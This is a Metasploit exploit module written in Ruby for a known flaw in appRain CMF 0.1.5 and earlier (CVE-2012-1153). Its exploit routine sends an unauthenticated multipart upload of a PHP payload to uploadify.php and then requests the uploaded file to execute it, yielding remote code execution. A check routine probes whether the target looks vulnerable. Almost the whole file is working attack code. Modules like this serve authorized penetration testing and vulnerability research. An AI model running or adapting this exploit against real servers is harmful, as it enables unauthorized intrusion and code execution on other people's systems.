cgranleese-r7
120 lines
3.5 KiB
Ruby
120 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => "appRain CMF Arbitrary PHP File Upload Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability found in appRain's Content Management
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Framework (CMF), version 0.1.5 or less. By abusing the uploadify.php file, a
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malicious user can upload a file to the uploads/ directory without any
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authentication, which results in arbitrary code execution.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'EgiX', # Discovery, PoC
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'sinn3r' # Metasploit
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],
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'References' => [
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['CVE', '2012-1153'],
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['OSVDB', '78473'],
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['EDB', '18392'],
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['BID', '51576']
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],
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'Payload' => {
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'BadChars' => "\x00"
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},
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'DefaultOptions' => {
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'EXITFUNC' => 'thread'
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},
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' => [
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['appRain 0.1.5 or less', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => '2012-01-19',
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to appRain', '/appRain-q-0.1.5'])
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]
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)
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end
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def check
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uri = target_uri.path
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uri << '/' if uri[-1, 1] != '/'
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, 'addons/uploadify/uploadify.php')
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})
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if res and res.code == 200 and res.body.empty?
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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uri = target_uri.path
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peer = "#{rhost}:#{rport}"
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payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'
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post_data = "--o0oOo0o\r\n"
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post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
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post_data << "<?php "
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post_data << payload.encoded
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post_data << " ?>\r\n"
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post_data << "--o0oOo0o\r\n"
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print_status("Sending PHP payload (#{payload_name})")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, "addons/uploadify/uploadify.php"),
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'ctype' => 'multipart/form-data; boundary=o0oOo0o',
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'data' => post_data
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})
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# If the server returns 200 and the body contains our payload name,
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# we assume we uploaded the malicious file successfully
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if not res or res.code != 200 or res.body !~ /#{payload_name}/
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print_error("File wasn't uploaded, aborting!")
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return
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end
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print_status("Executing PHP payload (#{payload_name})")
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# Execute our payload
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, "addons/uploadify/uploads/#{payload_name}")
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})
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# If we don't get a 200 when we request our malicious payload, we suspect
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# we don't have a shell, either. Print the status code for debugging purposes.
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if res and res.code != 200
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print_status("Server returned #{res.code.to_s}")
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end
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end
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end
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